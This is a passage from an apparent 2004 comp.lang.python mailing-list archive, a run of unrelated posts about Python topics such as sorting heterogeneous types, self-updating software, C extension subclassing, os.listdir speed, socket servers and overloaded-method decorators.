and you can do better. Although it is theoretically possible, it is unlikely to happen in practice (not because the compiler is already optimal, but because it is very difficult to do better - if it wasn't, the authors of the compiler would have improved it already) - certain VM opcodes are not available through source code. This sounds theoretical, too - why would the VM include opcodes that will never occur in practice? The real-world example is .NET, though, which supports many languages, and thus supports constructs not available in, say, C# (like global fields). This is not the case for Python, though: Python uses virtually all of its opcodes. Regards, Martin From aleaxit at yahoo.com Wed Sep 15 13:32:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 19:32:48 +0200 Subject: The pythonic approach References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> <5r-dnRtq1OWw59XcRVn-sg@powergate.ca> Message-ID: <1gk667x.c4zizl1dbti8lN%aleaxit@yahoo.com> Peter Hansen wrote: ... > code pattern. (Even so, I would tend to include a doc-string > or comment describing the basic algorithm, to let another > programmer more easily comprehend the approach taken.) That's never wrong, of course. > Principle of least surprise. One rarely encounters .get(x, x) Funny -- I encounter it SO often I consider it a basic idiom!!! Alex From tdelaney at avaya.com Tue Sep 21 18:13:20 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Wed, 22 Sep 2004 08:13:20 +1000 Subject: Python 3.0, rich comparisons and sorting order Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9009@au3010avexu1.global.avaya.com> Carlos Ribeiro wrote: > Just to make it clear, here it is how it works now: > >>>> a = [ 3.5, -1.0, "", (0,1), None, "z"] >>>> a.sort() >>>> a > [None, -1.0, 3.5, '', 'z', (0, 1)] Add a complex to that list and watch the result. Not all lists are sortable *now*. The change in Python 3.0 is to make it much more obvious that you *can't* just sort a list of unknown types. Tim Delaney From jbellis at gmail.com Sun Sep 12 01:12:03 2004 From: jbellis at gmail.com (Jonathan Ellis) Date: 11 Sep 2004 22:12:03 -0700 Subject: Ideas on self updating software? In-Reply-To: <10k7h7tg2290221@corp.supernews.com> Message-ID: Tom Cocagne wrote: > You might want to consider using a hashing algorithm in your scheme. This is what I do. > It > would be relatively simple to create a python script to recurse through all > of the directories of your project and generate an md5 or sha hash for each > file. The (file_name, hash) pairs for the most current release could then > be made available to the client in any number of forms, including a static > web page. Once the client obtained this file, it could run the same hashing > calculation on it's own files and determine which ones were out of date. > Then all that would remain would be to obtain copies of the updated files > and replace the existing system files with those. Any number of mechanisms > could be used to get the updated files; XML-RPC, plain-old html (if you > don't care too much about speed), anonymous FTP, even e-mail (for those of > us behind uber-firewalls at work ;-) I do it the other way around: client checks its FS and sends server the list of modules + hashes; server checks for out of date files, or files the client doesn't have at all, and tells the client where to download files it needs. Doing it this way you don't need a database at all; you just need the current files on the server so it can hash them. This is a HUGE win for simplicity. > One thing to keep in mind is that if you're not planning on shipping the > entire Python interpreter and/or 3rd-party extention modules with your > application, the entire project will likely be quite small when > tar/gzipped. Why not bundle up the entire thing in a zip file, make it > available via anonymous FTP, and then write a small script to get the new > file, uninstall the old version, and install the new version? In practice, even "small" applications have a pretty substantial amount of code that goes along with them, e.g. all the stdlib files you use, if you're packaging with py2exe. My application is under 3k loc, but the .zip py2exe generates is almost 1MB. That's going to cause dialup users enough pain to make it worth my while to be smart about the updating process. -Jonathan From simoninusa2001 at yahoo.co.uk Wed Sep 1 00:34:38 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 31 Aug 2004 21:34:38 -0700 Subject: XML documentation stinks - help? Message-ID: No, that's the docs I'm talking about, it's awful IMO. So far I've found a little bit of info on the xml.parsers.expat module, and got the following working the way Perl does, but it seems to create blank elements due to whitespace! And it seems the expat module has been deprecated in favour of SAX? import xml.parsers.expat # read in xml file sourcexml = open("test.xml", 'r') xml_file = sourcexml.read() # define handlers def startHandler(name, attrs): if attrs != {}: # skip blank entries print "start name:", name print "start attribs:", attrs def endHandler(name): print "end name:", name def charHandler(data): print "char data:", data # create parser prs = xml.parsers.expat.ParserCreate() # start handler prs.StartElementHandler = startHandler # end handler prs.EndElementHandler = endHandler # char handler prs.CharacterDataHandler = charHandler # parse xml prs.Parse(xml_file) From news at NOwillmcguganSPAM.com Mon Sep 13 13:18:41 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Mon, 13 Sep 2004 18:18:41 +0100 Subject: Addition to slice syntax (for strings) Message-ID: <4145d672$0$22765$db0fefd9@news.zen.co.uk> Hi, I'd like to suggest an addition to the slice syntax. How about allowing strings as arguments to slices on strings, and interpret them as the index of the substring found within the string being sliced. I'm sure I didnt explain that too well, so here is an example.. >>> a= "Find the string within the (parenthesis)." #equivalent of a[ a.find('(') : a.find(')', a.find('(') + 1 ) + 1 ] >>> a['(':')'] '(parenthesis)' #Strings with a negative step would search for the substring from the end of the string >>> a= 'some/folder/file.txt'; >>> a['.',-1,-1] '.txt' I have actually implemented something similar in a C++ string class, so its not completely crazy - but I would be interested in what more experienced Python developers think of it. Thanks, Will McGugan From fredrik at pythonware.com Mon Sep 20 06:16:38 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 Sep 2004 12:16:38 +0200 Subject: uncompressed size of .gz file References: <000001c49ed3$35125b20$0a0c10ac@che2003> <200409201121.58282.heikowu@ceosg.de> Message-ID: Heiko Wundram wrote: > You should be fine using " always "<", as this means little-endian. I don't know whether gzipped files > are always written as little endian (this would feel strange, as big-endian > is the "portable way") If it had been "native", I'd used "=" instead of "<". It never hurts to read the relevant RFC before posting: All multi-byte numbers in the format described here are stored with the least-significant byte first (at the lower memory address). and ISIZE (Input SIZE) This contains the size of the original (uncompressed) input data modulo 2^32. and yes, " From iker at research.att.com Tue Sep 14 16:11:03 2004 From: iker at research.att.com (Iker Arizmendi) Date: Tue, 14 Sep 2004 20:11:03 GMT Subject: Subclassing in C In-Reply-To: <41473FCF.5000706@research.att.com> References: <41470D3A.1040206@research.att.com> <41473FCF.5000706@research.att.com> Message-ID: <41475057.1080604@research.att.com> After placing a printf statement in both of these methods fsmpy_getattro PyGrm_GetAttro I notice that when calling the "type" method of my subclass like so: g = grm.GrmReplace(...) print g.type() only the PyGrm_GetAttro method is called. I expected that the call to Py_FindMethod would eventually call fsmpy_getattro since my subclass doesn't have a method called "type" (here the "type" method has nothing to do with Python types, it's just what we happen to call one of our methods). Regards, Iker Iker Arizmendi wrote: > Michael Hudson wrote: > >> Iker Arizmendi writes: >> >>> (*) The class I'm deriving from is defined in another >>> extension module and it has its own tp_getattr method. >> >> >> >> Hmm. I take it *it's* tp_getattr[o] method isn't >> PyObject_GenericGetAttr then? >> >> Then your initial post makes more sense; I'm afraid I don't see >> any obvious reason for PyObject_GenericGetAttr to crash. > > > Ah! I missed the trailing 'o' and set tp_getattr, not > tp_getattro as you suggested. However, after setting it > correctly (I think), things still don't behave as I would > expect (eg, the subclass has the union of its methods and > the base class methods). The complete code is pretty long > so I'm not sure I can post it (most of it deals with non > Python stuff) - but here's a more complete piece that > relates to setting up the classes. > > The base class (defined in a separated module) looks > like so: > > static PyMethodDef fsmpymethods[] = > { > { > "type", (PyCFunction) fsmpytype, > METH_NOARGS, > "type() -> string\n\nReturn FSM type." > }, > ... > { > NULL, NULL, 0, NULL > } > }; > > static PyObject* > fsmpy_getattro(PyObject *obj, PyObject* name) > { > return Py_FindMethod(fsmpymethods, obj, > PyString_AsString(name)); > } > > PyTypeObject FSMPyType = > { > PyObject_HEAD_INIT(NULL) > 0, > "fsm.Fsm", > sizeof(FSMPyObject), > 0, > fsmpy_dealloc, /*tp_dealloc*/ > 0, /*tp_print*/ > 0, /*tp_getattr*/ > 0, /*tp_setattr*/ > fsmpy_getattro, /*tp_getattro*/ > ... > 0, /*tp_setattro*/ > 0, /*tp_as_buffer*/ > Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ > ... > }; > > The base class doesn't have a new or init method as the author > provides an explicit "create" method. > > The subclass that I've put together now looks like so (note > that I now use the tp_getattro method, and cleared both > tp_methods and tp_members): > > static PyMethodDef PyGrmReplace_methods[] = > { > { > "mutate", (PyCFunction)PyGrmReplace_mutate, > METH_VARARGS|METH_KEYWORDS, > "mutate(fsm1 [, mode]) -> fsm\n" > }, > ... > {NULL} > }; > > static PyObject* > PyGrm_GetAttro(PyObject *obj, PyObject* name) > { > return Py_FindMethod(PyGrmReplace_methods, obj, > PyString_AsString(name)); > } > > static PyTypeObject PyGrmReplaceType = > { > PyObject_HEAD_INIT(NULL) > 0, /* ob_size */ > "grm.GrmReplace", /* tp_name */ > sizeof(PyFsmObject), /* tp_basicsize */ > 0, /* tp_itemsize */ > PyGrmReplace_dealloc, /* tp_dealloc */ > 0, /* tp_print */ > 0, /* tp_getattr */ > 0, /* tp_setattr */ > ... > PyGrm_GetAttro, /* tp_getattro */ > 0, /* tp_setattro */ > 0, /* tp_as_buffer */ > Py_TPFLAGS_DEFAULT, /* tp_flags */ > "GrmReplace objects", /* tp_doc */ > ... > 0, /* tp_methods */ > 0, /* tp_members */ > ... > PyGrmReplace_init, /* tp_init */ > 0, /* tp_alloc */ > PyGrmReplace_new, /* tp_new */ > }; > > PyMODINIT_FUNC > initgrm(void) > { > PyGrmReplaceType.tp_new = PyGrmReplace_new; > PyGrmReplaceType.tp_base = pointerToFSMPyType; > if (PyType_Ready(&PyGrmReplaceType) < 0) > return; > > PyObject* m = Py_InitModule3("grm", grm_methods, > "Python binding for the AT&T GRM library"); > Py_INCREF(&PyGrmReplaceType); > PyModule_AddObject(m, "GrmReplace", (PyObject*)&PyGrmReplaceType); > } > > And the result of this is that an instance of grm.GrmReplace > makes the mutate method available, but doesn't have the > type() method from the fsm.Fsm class. Is there some "canonical" > form for implementing this? > > Thanks again, > Iker > > >> >> >>> Here's the stack trace (via Valgrind), just in case: >> >> >> >> A stack trace from gdb (i.e. with line numbers) would have been more >> use. >> >> I think you have two options here: (a) make friends with gdb or (b) >> post [a link to, maybe] complete code. >> >> Cheers, >> mwh >> From chrisks at NOSPAM.udel.edu Sun Sep 19 18:24:03 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 22:24:03 GMT Subject: Math errors in python In-Reply-To: <1gkdle9.tyshvyi6m02qN%aleaxit@yahoo.com> References: <70b3d.1822$uz1.747@trndny03> <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com> <1gkdle9.tyshvyi6m02qN%aleaxit@yahoo.com> Message-ID: <7Gn3d.3952$4j1.605@trndny06> Alex Martelli wrote: > If he's not a troll, he _should_ be -- it's just too sad to consider the > possibility that somebody is really that ignorant and arrogant at the > same time (although, tragically, human nature is such as to make that > entirely possible). Nevertheless, newsgroups and mailing lists have an > interesting characteristic: no "thoughtful answer" need ever be truly > wasted, even if the person you're answering is not just a troll, but a > robotized one, _because there are other readers_ which may find > interest, amusement, or both, in that answer. On a newsgroup, or > very-large-audience mailing list, one doesn't really write just for the > person you're nominally answering, but for the public at large. Exactly. One could wonder if more timid accusations would have engendered such insightful and accurate responses. However, I do apologize if I appeared trollish. Thank you for your contributions. From rff_rff at remove-yahoo.it Thu Sep 2 06:14:26 2004 From: rff_rff at remove-yahoo.it (gabriele renzi) Date: Thu, 02 Sep 2004 10:14:26 GMT Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: References: <1093788608.645541@news.commspeed.net> <7xoekq4ehv.fsf@ruckus.brouhaha.com> Message-ID: <6oCZc.72571$1V3.1760331@twister2.libero.it> >>If you want to do something that could be worthwhile to a larger >>number of people, add static type declarations to IronPython. There >>you could really be pioneering stuff that will be in py3k. > > > PyCs DOES offer optional static type declarations and many other things > from "Python 3000". Check out the website. > would the CLR type system be what Guido want for python 3k ? (I mean, the old interface or class thingy). I guess python 3k should have some type system more on the lines of lispish soft typing. Anyway, wish you best luck From chrisks at NOSPAM.udel.edu Mon Sep 20 23:46:19 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Tue, 21 Sep 2004 03:46:19 GMT Subject: Python for Perl programmers? In-Reply-To: References: Message-ID: Markus Dehmann wrote: > I am using perl for everything, even bigger programs, with objects, > uh, modules and stuff. I know pretty much every trick in perl and have > a lot of experience. > > But I'd like to try a cleaner language, where you don't have to type > so much crap to create a class etc. So, I wanna give python a try. > > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, do something with them, print > the result in a formatted way, write it to a new file etc. Create a > class that downloads newsgroups, etc. Things like that. > > I don't need long explanations, but just the perl code and the > corresponding python code. Maybe that even helps seeing: ah, python is > much cleaner, or shorter, or whatever. > > I mean, if I want to learn French and I already know a lot about > languages, it's probably good not to learn all the grammar, but just > to take an English book and the French translation, and learn from it. > I want to do the same to learn python. > > Thanks for every hint! > Markus I've read that Ruby is actually more akin to Perl than Python. From a Ruby wiki, "[Matsumoto] chose the name to reflect the language's Perl heritage". Granted, Python definitely deserves your attention, but if you're a die-hard Perl user, you may also want to take a look at Ruby. From peter at engcorp.com Wed Sep 15 08:25:40 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 08:25:40 -0400 Subject: i am going to get crazy!!! In-Reply-To: References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: Carlos Ribeiro wrote: > -- There are two classes of developers: those who like IDEs and those > who doesn't. The latter camp includes people that swear by Emacs, VIM, > and stuff like that. I don't mean to sound badly, but such people > don't get what's the fuss about a good IDE. They come from another > background, and normally write another type of software, one that > doesn't need such "fancy" gadgetry to work. Don't try to argue with > them -- there's no right and wrong here, just different styles at > work. Carlos, you're right that different styles are involved, and this could be considered yet another "religious" matter, but don't make the mistake of assuming those of us who prefer no IDE "come from another background" or "don't get the fuss". I suspect many or most of us have used very fancy GUI IDE tools *extensively*, but have after long years and for various reasons rejected them in favour of simpler or lighter weight approaches. -Peter From aleaxit at yahoo.com Wed Sep 22 03:10:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 09:10:55 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: <1gkib19.z0dl5g1gxvwlxN%aleaxit@yahoo.com> Andrew Dalke wrote: > Phil Frost wrote: > > The right question here is, "is there a reason for mappings with > > heterogeneous key types?" It's not something that I do often, but it's > > something that's important to have. Dynamic typing is a good thing. > > Though it's a different question. mapping keys only > need to define __hash__ and __eq__. That's easier than > defining an ordering. A dict is just one specific kind of mapping, one IMPLEMENTATION of the mapping interface. Currently the only built-in one, but definitely not the only one that can be useful. A BTree and other order-based mechanisms might well provide implementations of the mapping interface that are preferable in some circumstances (e.g., frequent need to access the sequence of keys in a predictable order). ((Performance may be better with a comparison-based implementation of a mapping, for example when comparisons may typically be performed WAY faster than computations of hash values. Say that the keys are tuples that tend to be extremely long AND tend to differ within the first few items. When such a tuple computes its hash value, it nevertheless needs to step through all items. But comparisons between such tuples typically get solved within the first few items, as soon as corresponding items that differ are met -- which saves the computational cost of continuing to step through tuples to the bitter end.)) Prohibiting ordering comparisons between heterogenous types can make sense only if mappings which have keys of both types are a bad thing, just like Phil says. The fact that other implementations of mappings might still be possible (e.g., a dict) does not per se justify the prohibition of implementations such as BTrees, which have their own advantages. One example I have used are tuples representing expressions. One such tuple might be, say: ('+', 'foo', 'bar') and another might be: ('+', ('*', 'foo', 2), 'bar', 'baz') I guess these tuples, and their items, would be seen as being 'heterogeneous' by any language mechanism -- they are 'homogeneous' only at a somewhat abstract level. Sure, I could wrap such tuples and each of their 'nodes' (items) into an instance of some darned class which internally holds an operator and a tuple of operands which can be numbers, strings (names of free variables), other such nodes. But one of Python's advantages used to be the ability to avoid such gyrations in term of language requirements -- the ability to use direct concrete representations when appropriate, without the language twisting your arm to make you wrap them up in order to be able to pass them uniformly as arguments, use them as keys in a dict OR BTree, etc, etc. You only did the wrapping up into abstractions if and when you WANTED to (much like, say, in Lisp or Scheme -- you start with plain lists, then at some point you decide that (car expression) is not a good way to access the operator so you switch to a more abstract (operator-of expression), &c). Exactly what's gained by forbidding this kind of nice optional usage is very murky indeed to me. Why is the "burden of proof" that it IS nice to have the option of representing expressions this way, for example, being suddenly placed on the shoulders of those who have long been doing so, and want to keep that option even when order comparisons are wanted between such representations?! Let those who argue it's dangerous and bad for us, to use concrete representations whenever you may need comparisons, prove to us why our years-long habit was insane, please...! Alex From zanesdad at bellsouth.net Mon Sep 27 09:01:57 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 27 Sep 2004 09:01:57 -0400 Subject: Optimizing tips for os.listdir In-Reply-To: References: Message-ID: <41580F45.8070005@bellsouth.net> Thomas wrote: >I'm doing this : > >[os.path.join(path, p) for p in os.listdir(path) if \ >os.path.isdir(os.path.join(path, p))] > >to get a list of folders in a given directory, skipping all plain >files. When used on folders with lots of files, it takes rather long >time to finish. Just doing a listdir, filtering out all plain files >and a couple of joins, I didn't think this would take so long. > >Is there a faster way of doing stuff like this? > >Best regards, >Thomas > > I was going to use timeit, but kept encountering a "global name 'os' is not defined" error. So, I created my own function named "time_me." I created a directory with 5000 files and 3 directories. I ran your code on it and got around .34 seconds: In [38]: time_me('''[os.path.join(path, p) for p in os.listdir(".") if os.path.isdir(os.path.join(path, p))]''') Out[38]: 0.33953285217285156 I tried glob rather than os.listdir. Not any better: In [39]: import glob In [40]: time_me('''[os.path.join(path, p) for p in glob.glob("*") if os.path.isdir(os.path.join(path, p))]''') Out[40]: 0.38322591781616211 I decided, since I was already in the directory, to not do the os.path.join() on path and p. Got .23 seconds rather than .34. That's probably not an option, though, and it didn't really buy you a whole lot: In [42]: time_me('''[p for p in os.listdir(".") if os.path.isdir(p)]''') Out[42]: 0.23234295845031738 os.listdir seems to be fairly cheap: In [43]: time_me("os.listdir('.')") Out[43]: 0.030396938323974609 I know that none of this is helpful so far, but I don't see how you're going to get around getting a directory listing and then statting each file to determine if it's a directory or not. How you are doing it is a reasonable solution. How many files is "lots of files"? And how long are you seeing on your system? Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: From cmg at dok.org Fri Sep 17 15:45:50 2004 From: cmg at dok.org (Chris Green) Date: Fri, 17 Sep 2004 15:45:50 -0400 Subject: smtplib (111, 'Connection refused') References: Message-ID: <87wtysu1ap.fsf@ion.xlipstream.com> Josh Close writes: > I'm using the smtplib module and I keep getting this error: (111, > 'Connection refused') What could be causing this? I've tried it from a > different computer and it seems to work, but not from this specific > server. If port 25 was blocked for some reason, would that give me a > 'connection refused' error? Yes. When in doubt, try telnet . -- Chris Green Fame may be fleeting but obscurity is forever. From tjreedy at udel.edu Thu Sep 9 16:02:28 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 9 Sep 2004 16:02:28 -0400 Subject: found bakups of code I never asked for --- References: Message-ID: "Anon" wrote in message news:chq9fu$9ii$1 at newsg3.svr.pol.co.uk... > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hey everyone. > > I was looking around my file system today when I stumbled ac ross > A -COMPLETE- bakup of every piece of python code I ever coded in the > folder... > > C:\Documents and Settings\edit.edit\Local Settings\Temp\bak > > Can someone tell me were the options are for turnin this bakup feature on > and off?? > > I have current Python build installed, ie 2.3.4 and also Pythonwin same > build.. > > I cannot remember selecting any option in the setup to bakup my code this > way, so I was wondering were the feature for it actualy is??? > > I probably would like to keep it, just in case of any file corruption > problems, but it would be ncie to no that I ALSO turn the feature of as > well. You should/can run Accessories/System Tools/Disk Cleanup periodically with 'clear temp files' checked. Will solve more problems than just this. TJR From donn at drizzle.com Fri Sep 3 23:23:06 2004 From: donn at drizzle.com (Donn Cave) Date: Sat, 04 Sep 2004 03:23:06 -0000 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <87acw86she.fsf@uwo.ca> <1094189336.822541@yasure> Message-ID: <1094268184.524370@yasure> Quoth "Arthur" : | ... In a dynamic app, append and | ordered access solves a set of problems that may or may not be reasonablely | conceptualized as related to homogeneity. So any attempt to describe | anything about lists vs. tuples in terms of its data content always in the | end seems unnecessarily reductionist, IMO - if that's the right word. Say, have we been here before? Remember, it really isn't about the data content considered separately, rather the synthesis of structure and data. Donn Cave, donn at drizzle.com From adalke at mindspring.com Sat Sep 25 13:02:07 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 25 Sep 2004 17:02:07 GMT Subject: Why not FP for Money? In-Reply-To: <1gko1oc.1kefpxo1my8kk2N%aleaxit@yahoo.com> References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> <7xr7oqd9ao.fsf@ruckus.brouhaha.com> <1gko1oc.1kefpxo1my8kk2N%aleaxit@yahoo.com> Message-ID: Me: >>>I'm against adding new literals. There hasn't been >>>one added since complex in ... must have been the >>>mid-1990s. Though I forgot about unicode strings. Alex: > - Andrew's way of expression was not 100% precise: he meant to be > talking about new _syntactic categories_ of literals, not new values > within existing categories. Yes. Andrew dalke at dalkescientific.com From len-1 at telus.net Mon Sep 27 17:23:14 2004 From: len-1 at telus.net (Lenard Lindstrom) Date: Mon, 27 Sep 2004 21:23:14 GMT Subject: Metaclass with name overloading. References: <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: Carlos Ribeiro writes: > On Mon, 27 Sep 2004 19:11:14 +0200, Alex Martelli wrote: > > so, class blop doesn't really have an 'f' (it does have it in the > > __dict__, but it's a dummy '_ignore_method' entry with a suitable custom > > metaclass would easily prune!-) but has __overloaded__f__0 and > > __overloaded__f__1 methods (which, again, a suitable custom metaclass > > could do whatever wonders with!-). > > The decorator could play it safe, and at the same time, return > something like the original poster expects. Upon decoration the > following would happen: > > 1) store the newly declared object in the list __overloaded__<$name>. > > 2) return a new object (to be bound to the <$name>), where > <$name>.__call__ would return __overloaded__<$name>[-1]; and > f.__iter__ would return an iterator for all declaration in the order > they appear. > > I did it as follows; it _almost_ works (which really means it's > broken), because there's a catch that I was not able to solve: > > ------------ > import sys, itertools > > class OverloadedFunction: > def __init__(self): > self.overload_list = [] > def __iter__(self): > for item in self.overload_list: > yield item > def __getitem__(self, index): > return self.overload_list[index] > def __call__(self, *args, **kw): > return self.overload_list[-1](*args, **kw) > def append(self, f): > self.overload_list.append(f) > > def overloaded(f): > d = sys._getframe(1).f_locals > n = '__overloaded__%s' % f.func_name > #ofl = getattr(d, n, OverloadedFunction()) > if n in d: > print "achou" > ofl = d[n] > else: > print "n?o achou" > ofl = OverloadedFunction() > print "<",ofl.overload_list,">", d, n > ofl.append(f) > d[n] = ofl > return ofl > > class blop: > def f(self): return 'first f' > f = overloaded(f) > > def f(self): return 'second f' > f = overloaded(f) > > print blop.__dict__ > # there's a catch -- methods were not bound to the instance > # so I need to pass the 'self' parameter manually > b = blop() > print blop.f(b) > print blop.f[0](b) > print blop.f[1](b) > > > The problem is that the methods were not bound to the instance. Adding > individual names to each method won't work, because it'll not bind the > references stored in the overload_list. I thought about using a > closure or curry type of solution, but that's something that I still > don't understand very well. Any tips? > Here is my take on decorator overloaded. I implement OverloadedFunction as a descriptor. It supports method binding. import sys class OverloadedFunction(object): class BoundMethod: def __init__(self, functions, instance, owner): self.bm_functions = functions self.bm_instance = instance self.bm_owner = owner def __getitem__(self, index): return self.bm_functions[index].__get__(self.bm_instance, self.bm_owner) def __init__(self): self.of_functions = [] def addFunction(self, func): self.of_functions.append(func) def __get__(self, instance, owner): return self.BoundMethod(self.of_functions, instance, owner) def overloaded(func): try: olf = sys._getframe(1).f_locals[func.__name__] except KeyError: olf = OverloadedFunction() olf.addFunction(func) return olf # Test case: class blob: def __init__(self, member): self.member = member @overloaded def f(self): return "f 0: member=%s" % self.member @overloaded def f(self, s): return "f 1: member=%s, s=%s" % (self.member, s) b=blob("XXX") print b.f[0]() print b.f[1]("Yet another f") ---- Output --- f 0: member=XXX f 1: member=XXX, s=Yet another f Lenard Lindstrom From albalmer at att.net Tue Sep 7 13:29:56 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 07 Sep 2004 10:29:56 -0700 Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> Message-ID: <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> On Sat, 04 Sep 2004 06:02:03 GMT, CBFalconer wrote: >Alan Balmer wrote: >> >... snip ... >> >> I'm not a fan of Mr Hatch, but blaming him for the shuttle >> disaster(s) is somewhat over the top. Why not blame President >> Bush? That's the popular thing nowadays. > >Alright, if you insist. But is it really necessary? We can find >adequate charges without reaching very hard. Then why are so many people reaching so hard? -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From sholden at holdenweb.com Wed Sep 15 23:40:15 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 15 Sep 2004 23:40:15 -0400 Subject: socket function that loops AND returns something In-Reply-To: References: Message-ID: Brad Tilley wrote: > I have a function that starts a socket server looping continuously > listening for connections. It works. Clients can connect to it and send > data. > > The problem is this: I want to get the data that the clients send out of > the loop but at the same time keep the loop going so it can continue > listening for connections. If I return, I exit the function and the loop > stops. How might I handle this? > > def listen(ip_param, port_param): > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > while 1: > print "\nWaiting for new connection...\n" > s.listen(1) > conn, addr = s.accept() > print "Client", addr[0], "connected and was directed to port", > addr[1] > data = conn.recv(1024) > # I want to get 'data' out of the loop, but keep the loop going > print "Client sent this message:", data > conn.close() The classic solution to this problem is to create a new thread or fork a new process to handle each connection and have the original server imeediately loop to await a new connection. This is what the threading and forking versions of the SocketServer classes do. Take a look at the ForkingMixIn and ThreadingMixIn classes of the SocketServer.py library to see how to turn your synchronous design into something asynchronous. regards Steve From http Fri Sep 24 04:54:27 2004 From: http (Paul Rubin) Date: 24 Sep 2004 01:54:27 -0700 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> Message-ID: <7xpt4c3v3w.fsf@ruckus.brouhaha.com> aleaxit at yahoo.com (Alex Martelli) writes: > yep, str(35.72) == '35.72'. Hmm. >>> 35.72 35.719999999999999 I wonder why str(35.72) is different from repr(35.72). From daniel at dittmar.net Sun Sep 19 15:57:28 2004 From: daniel at dittmar.net (Daniel Dittmar) Date: Sun, 19 Sep 2004 21:57:28 +0200 Subject: Documentation? file/open with tea In-Reply-To: References: Message-ID: <2r66m7F161ncnU1@uni-berlin.de> exarkun at divmod.com wrote: > On Sun, 19 Sep 2004 11:40:37 -0800, "Eric Pederson" wrote: >>f1=3Dopen(somefile, 'at') >>f2=3Dopen(otherfile, 'rt') > > 't' is the opposite of 'b'. It's short for "text". It is also the default, so the above could be rewritten as open(somefile, 'a') or open(otherfile, 'r') with no change in meaning. And I think using 't' is a mainly a Windows thing and not portable. Daniel From manish_ipx at yahoo.com Thu Sep 23 05:29:19 2004 From: manish_ipx at yahoo.com (Manish Kumar Arya) Date: Thu, 23 Sep 2004 02:29:19 -0700 (PDT) Subject: How to send SIGTSTP, SIGCONt signals to a script scheduled using cron In-Reply-To: Message-ID: <20040923092919.69177.qmail@web51507.mail.yahoo.com> hi the step i told u earlier will definatly work pid=`ps ax | grep urcommand | cut -b 2-6 | grep -v tty` u have to include more with tty like pty etc if any script is scheduled using cron, the script names does appears in ps ax output, and u can gets pid on this basis. once u got pid u can easily send sigals to it. please let me know if u have ne further query -Manish LinuxIndia.net --- Saurabh Agarwal wrote: > Hi all, > I had scheduled a script using cron and got pid of > it when it is > running as it is running for a long time.The script > is somewhat like > > cmd > sleep 10 > cmd2 > sleep 20 > .. > This is scheduled using cron now i want to send > SIGTSTP signal to it > to suspend it > and SIGCONT to resume it but these signals are not > working please help urgently. > kill -SIGTSTP pid > > Thanks > -- > Saurabh Agarwal > 9868358071 > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From spaamrobmccreaspremoveam at adelphia.net Wed Sep 15 10:41:03 2004 From: spaamrobmccreaspremoveam at adelphia.net (Rob McCrea) Date: Wed, 15 Sep 2004 10:41:03 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: <3-ydnUvdMfzpydXcRVn-qw@adelphia.com> Frithiof Andreas Jensen wrote: > "Hans Nowak" wrote in message > If plain "Idle" is the tool you prefer, I could get my old Slackware 486/66 > with 4 MB RAM down from the loft for you! No, IDLE is too heavy and intrusive. As I said, I like Editplus. I did just double check. Rob From bgabriel at cloudthunder.com Thu Sep 30 22:12:37 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Thu, 30 Sep 2004 22:12:37 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: <20041001015302.GA530@lairds.us> References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> <415C1B51.7070605@cloudthunder.com> <20041001015302.GA530@lairds.us> Message-ID: <415CBD15.9080301@cloudthunder.com> I thank *you*. Your comments/criticisms have helped us to convey more fully and with increased clarity, the meaning we sought to communicate in our grant proposal. I trust you have seen the latest and final additions/modifications? Sincerely, Bishara Gabriel Url: 